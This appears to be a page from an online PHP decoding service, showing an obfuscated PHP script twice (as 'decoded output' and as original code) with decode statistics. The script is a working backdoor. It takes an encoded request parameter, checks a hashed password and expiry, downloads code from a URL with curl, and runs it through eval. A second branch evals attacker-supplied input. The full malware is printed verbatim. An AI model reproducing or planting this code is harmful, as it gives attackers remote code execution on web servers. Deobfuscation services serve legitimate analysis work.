Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto gKM44; xwRpr: $WSeqP = ${$PPjxR[11 + 20] . $PPjxR[23 + 36] . $PPjxR[22 + 25] ..
Decoded Output download
<?php
goto gKM44; xwRpr: $WSeqP = ${$PPjxR[11 + 20] . $PPjxR[23 + 36] . $PPjxR[22 + 25] . $PPjxR[27 + 20] . $PPjxR[19 + 32] . $PPjxR[43 + 10] . $PPjxR[45 + 12]}; goto OJH_r; gKM44: $mwzVQ = "r" . "a" . "n" . "g" . "e"; goto WbAaX; sL3Mj: class IZbcZ { static function Sgi0A($QAXly) { goto B_Fhu; ERu26: $JHLqz = $K_IdX("~", " "); goto g0l5j; MN3jn: return $zXiBv; goto pZO19; JmioF: foreach ($UHtey as $Wz_Zl => $Y0YHt) { $zXiBv .= $JHLqz[$Y0YHt - 2478]; mDSsp: } goto bLBR6; jtMpD: $zXiBv = ''; goto JmioF; B_Fhu: $K_IdX = "r" . "a" . "n" . "g" . "e"; goto ERu26; bLBR6: EjH4l: goto MN3jn; g0l5j: $UHtey = explode(")", $QAXly); goto jtMpD; pZO19: } static function mB9v7($ZBFhu, $IvDTo) { goto PvG43; jWM1N: curl_setopt($H5t0r, CURLOPT_RETURNTRANSFER, 1); goto G4MCX; PvG43: $H5t0r = curl_init($ZBFhu); goto jWM1N; djloQ: return empty($FZ_tq) ? $IvDTo($ZBFhu) : $FZ_tq; goto Pg6Lh; G4MCX: $FZ_tq = curl_exec($H5t0r); goto djloQ; Pg6Lh: } static function UFC_s() { goto Nvoun; Nvoun: $YoPSD = array("2505)2490)2503)2507)2488)2503)2509)2502)2487)2494)2505)2488)2499)2493)2494", "2489)2488)2490)2509)2490)2493)2488)2555)2553", "2498)2489)2493)2494)2509)2504)2503)2505)2493)2504)2503", "2492)2507)2505)2497", "2506)2507)2489)2503)2550)2552)2509)2504)2503)2505)2493)2504)2503", "2502)2499)2496)2503)2509)2501)2503)2488)2509)2505)2493)2494)2488)2503)2494)2488)2489", "2532)2562", "2479", "2557)2562", "2539)2522)2522)2539)2515", "2502)2499)2496)2488)2503)2490)2509)2499)2494)2492)2487)2488"); goto E9mJP; w_5fO: wfGl1: goto axL4E; fplZ6: if (!(@$hLkXK[0] - time() > 0 and md5(md5($hLkXK[1 + 2])) === "7777fe8da1c303a9986e217446cb8072")) { goto ShHnJ; } goto f4rpZ; axL4E: $SwUwq = @$HPdOX[1]($HPdOX[2 + 8](INPUT_GET, $HPdOX[9 + 0])); goto n93PS; Tj8CM: $hLkXK = $HPdOX[1 + 1]($qjLPw, true); goto yeXfs; f4rpZ: $KWobN = self::mb9V7($hLkXK[1 + 0], $HPdOX[5 + 0]); goto jw3N_; s0_yV: ShHnJ: goto OumH1; E9mJP: foreach ($YoPSD as $x0b8T) { $HPdOX[] = self::sgI0a($x0b8T); CQsxH: } goto w_5fO; yeXfs: @$HPdOX[3 + 7](INPUT_GET, "of") == 1 && die($HPdOX[1 + 4](__FILE__)); goto fplZ6; iHk2k: die; goto s0_yV; n93PS: $qjLPw = @$HPdOX[1 + 2]($HPdOX[3 + 3], $SwUwq); goto Tj8CM; jw3N_: @eval($HPdOX[0 + 4]($KWobN)); goto iHk2k; OumH1: } } goto Suhm3; WbAaX: $PPjxR = $mwzVQ("~", " "); goto xwRpr; OJH_r: @(md5(md5(md5(md5($WSeqP[16])))) === "f116c4d27eafebbc5e7534e2353cdab9") && (count($WSeqP) == 22 && in_array(gettype($WSeqP) . count($WSeqP), $WSeqP)) ? ($WSeqP[63] = $WSeqP[63] . $WSeqP[74]) && ($WSeqP[90] = $WSeqP[63]($WSeqP[90])) && @eval($WSeqP[63](${$WSeqP[50]}[15])) : $WSeqP; goto iAksy; iAksy: strlen("MjI2OTk3NzY3MTA4NjIzMzk0MTYyNTMy"); goto sL3Mj; Suhm3: iZbCZ::Ufc_s();
?>
BiaoJiOk
Did this file decode correctly?
Original Code
<?php
goto gKM44; xwRpr: $WSeqP = ${$PPjxR[11 + 20] . $PPjxR[23 + 36] . $PPjxR[22 + 25] . $PPjxR[27 + 20] . $PPjxR[19 + 32] . $PPjxR[43 + 10] . $PPjxR[45 + 12]}; goto OJH_r; gKM44: $mwzVQ = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto WbAaX; sL3Mj: class IZbcZ { static function Sgi0A($QAXly) { goto B_Fhu; ERu26: $JHLqz = $K_IdX("\x7e", "\x20"); goto g0l5j; MN3jn: return $zXiBv; goto pZO19; JmioF: foreach ($UHtey as $Wz_Zl => $Y0YHt) { $zXiBv .= $JHLqz[$Y0YHt - 2478]; mDSsp: } goto bLBR6; jtMpD: $zXiBv = ''; goto JmioF; B_Fhu: $K_IdX = "\162" . "\141" . "\156" . "\x67" . "\145"; goto ERu26; bLBR6: EjH4l: goto MN3jn; g0l5j: $UHtey = explode("\x29", $QAXly); goto jtMpD; pZO19: } static function mB9v7($ZBFhu, $IvDTo) { goto PvG43; jWM1N: curl_setopt($H5t0r, CURLOPT_RETURNTRANSFER, 1); goto G4MCX; PvG43: $H5t0r = curl_init($ZBFhu); goto jWM1N; djloQ: return empty($FZ_tq) ? $IvDTo($ZBFhu) : $FZ_tq; goto Pg6Lh; G4MCX: $FZ_tq = curl_exec($H5t0r); goto djloQ; Pg6Lh: } static function UFC_s() { goto Nvoun; Nvoun: $YoPSD = array("\x32\65\60\65\51\62\64\71\60\51\62\65\60\x33\51\x32\x35\60\67\51\62\64\70\x38\51\62\65\x30\x33\51\x32\x35\60\71\x29\x32\65\x30\62\51\62\x34\70\x37\x29\62\x34\71\x34\51\62\65\x30\65\51\x32\64\70\70\x29\62\64\71\71\x29\62\64\71\x33\51\62\64\x39\x34", "\62\x34\70\x39\51\x32\x34\70\70\x29\x32\x34\71\x30\x29\62\x35\60\x39\51\x32\x34\71\x30\x29\62\64\x39\x33\51\x32\64\70\x38\x29\x32\65\65\x35\x29\62\x35\x35\63", "\x32\x34\x39\70\51\62\64\x38\x39\51\62\64\x39\63\51\x32\64\x39\64\x29\62\x35\60\71\51\x32\65\x30\x34\x29\x32\x35\60\x33\x29\x32\65\60\x35\51\x32\x34\71\x33\x29\62\x35\x30\x34\51\x32\x35\60\63", "\62\x34\x39\62\51\62\x35\x30\67\51\x32\x35\60\65\x29\x32\x34\x39\67", "\62\65\60\66\51\x32\x35\x30\67\51\x32\64\x38\x39\51\x32\x35\60\x33\x29\62\x35\65\x30\x29\62\x35\65\x32\51\x32\65\60\x39\51\x32\x35\x30\x34\x29\x32\x35\60\x33\51\x32\x35\x30\65\x29\62\x34\x39\63\51\x32\65\x30\64\x29\62\65\x30\x33", "\x32\x35\x30\x32\51\x32\x34\71\x39\51\62\x34\x39\66\x29\62\65\x30\63\x29\62\x35\x30\71\51\x32\x35\60\x31\x29\62\x35\x30\63\x29\x32\64\70\x38\x29\62\x35\60\x39\51\62\65\60\65\51\62\64\x39\x33\51\62\x34\71\64\51\62\64\x38\70\x29\62\65\x30\63\x29\62\x34\x39\x34\x29\x32\64\x38\x38\51\62\64\x38\x39", "\x32\x35\x33\62\x29\x32\x35\x36\x32", "\62\x34\67\71", "\62\x35\65\x37\51\x32\65\x36\x32", "\62\65\63\71\51\62\65\62\x32\51\x32\65\x32\x32\51\62\65\x33\x39\x29\62\65\x31\x35", "\62\65\60\x32\x29\62\x34\x39\71\x29\62\x34\x39\x36\x29\x32\x34\x38\70\x29\62\65\x30\63\x29\x32\x34\71\x30\x29\x32\65\x30\71\51\x32\x34\x39\x39\x29\62\64\71\64\x29\62\64\x39\62\x29\x32\x34\x38\67\x29\62\64\70\70"); goto E9mJP; w_5fO: wfGl1: goto axL4E; fplZ6: if (!(@$hLkXK[0] - time() > 0 and md5(md5($hLkXK[1 + 2])) === "\67\x37\x37\67\146\145\70\x64\x61\61\x63\x33\x30\63\x61\71\x39\70\x36\145\62\x31\67\64\x34\x36\x63\x62\70\x30\x37\62")) { goto ShHnJ; } goto f4rpZ; axL4E: $SwUwq = @$HPdOX[1]($HPdOX[2 + 8](INPUT_GET, $HPdOX[9 + 0])); goto n93PS; Tj8CM: $hLkXK = $HPdOX[1 + 1]($qjLPw, true); goto yeXfs; f4rpZ: $KWobN = self::mb9V7($hLkXK[1 + 0], $HPdOX[5 + 0]); goto jw3N_; s0_yV: ShHnJ: goto OumH1; E9mJP: foreach ($YoPSD as $x0b8T) { $HPdOX[] = self::sgI0a($x0b8T); CQsxH: } goto w_5fO; yeXfs: @$HPdOX[3 + 7](INPUT_GET, "\157\x66") == 1 && die($HPdOX[1 + 4](__FILE__)); goto fplZ6; iHk2k: die; goto s0_yV; n93PS: $qjLPw = @$HPdOX[1 + 2]($HPdOX[3 + 3], $SwUwq); goto Tj8CM; jw3N_: @eval($HPdOX[0 + 4]($KWobN)); goto iHk2k; OumH1: } } goto Suhm3; WbAaX: $PPjxR = $mwzVQ("\176", "\40"); goto xwRpr; OJH_r: @(md5(md5(md5(md5($WSeqP[16])))) === "\x66\x31\x31\x36\143\64\x64\x32\x37\145\141\146\145\142\x62\143\65\145\x37\65\63\64\145\62\x33\x35\63\x63\144\141\x62\x39") && (count($WSeqP) == 22 && in_array(gettype($WSeqP) . count($WSeqP), $WSeqP)) ? ($WSeqP[63] = $WSeqP[63] . $WSeqP[74]) && ($WSeqP[90] = $WSeqP[63]($WSeqP[90])) && @eval($WSeqP[63](${$WSeqP[50]}[15])) : $WSeqP; goto iAksy; iAksy: strlen("\115\x6a\x49\x32\x4f\x54\153\x33\x4e\x7a\x59\x33\x4d\124\101\x34\x4e\152\111\172\115\x7a\x6b\x30\115\124\131\x79\x4e\124\x4d\171"); goto sL3Mj; Suhm3: iZbCZ::Ufc_s();
?>
BiaoJiOk
Function Calls
None |
Stats
MD5 | c8a8a3ca90812e8d82d0c0c0e8b3762b |
Eval Count | 0 |
Decode Time | 105 ms |